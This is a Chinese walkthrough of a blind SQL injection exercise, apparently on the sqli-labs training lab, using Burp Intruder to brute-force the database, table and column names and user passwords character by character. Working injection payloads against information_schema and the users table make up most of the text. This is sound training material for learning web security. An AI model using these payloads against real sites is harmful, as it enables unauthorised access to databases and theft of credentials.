目录
一.判断注入点
?id=1'报错 ?id=1"显示正常
判断出参数id是单引号字符串(单引号破坏了原有语法结构)
然后输入id=1'--+时报错,输入id=1')--+发现依然报错,再尝试双括号输入id=1'))--+,发现页面显示正常
成功判断注入点
二.爆库名
先爆出数据库的名长度:(这里用>当然也可以)
(length(str)函数:返回字符串 str的长度)
?id=1')) and length(database())=1--+
开启拦截,发送给intruder,在"1"这里添加§
设置payloads
开始攻击
一个一个点开看还是麻烦,发现居然可以直接搜?!
6666,直接得出库名长度为8
接下来就可以爆库名了
substr(string, start, length)
第一个参数为要处理的字符串,start为开始位置,length为截取的长度。
?id=1')) and substr(database(),1,1)='a'--+
注意:攻击方式要选择集束炸弹(clusterbomb),并给"1"和"a"加上§
注意:攻击方式要选择集束炸弹(clusterbomb)
注意:攻击方式要选择集束炸弹(clusterbomb)
有效负载集1的payloads选择0-9!!!!(根据前面已经知道了库名长度,可以把0和9删掉,不过不删也行)
有效负载集2的payloads选择a-z!!!!
攻击之后还是直接搜,选择按payload1排序,直接出库名(security)
三.爆表名
先爆出表的数量(不是很多,没必要爆破)
?id=1')) and (select count(table_name)from information_schema.tables where table_schema=database())=4--+
?id=1')) and (select count(table_name)from information_schema.tables where table_schema=database())=4--+
爆表名(这个不爆破没办法做)
?id=1')) and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='a'--+
?id=1')) and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='a'--+
通过修改limit的参数很容易爆出4张表的名字:emails,referers,uagents,users
四.爆字段
先爆字段数:
?id=1')) and (select count(column_name) from information_schema.columns where table_name='users')=6--+
?id=1')) and (select count(column_name) from information_schema.columns where table_name='users')=6--+
再爆字段名(先爆出字段名的长度当然也可以)
?id=1')) and substr((select column_name from information_schema.columns where table_name='users' limit 3,1),1,1)='i'--+
?id=1')) and substr((select column_name from information_schema.columns where table_name='users' limit 3,1),1,1)='i'--+
依旧是通过调整limit的参数依次爆破,得出后三张表的名称为id,username,password
五.爆数据
?id=1')) and substr((select password from users limit 0,1),1,1)='d'--+
?id=1')) and substr((select password from users limit 0,1),1,1)='d'--+
轻轻松松爆出数据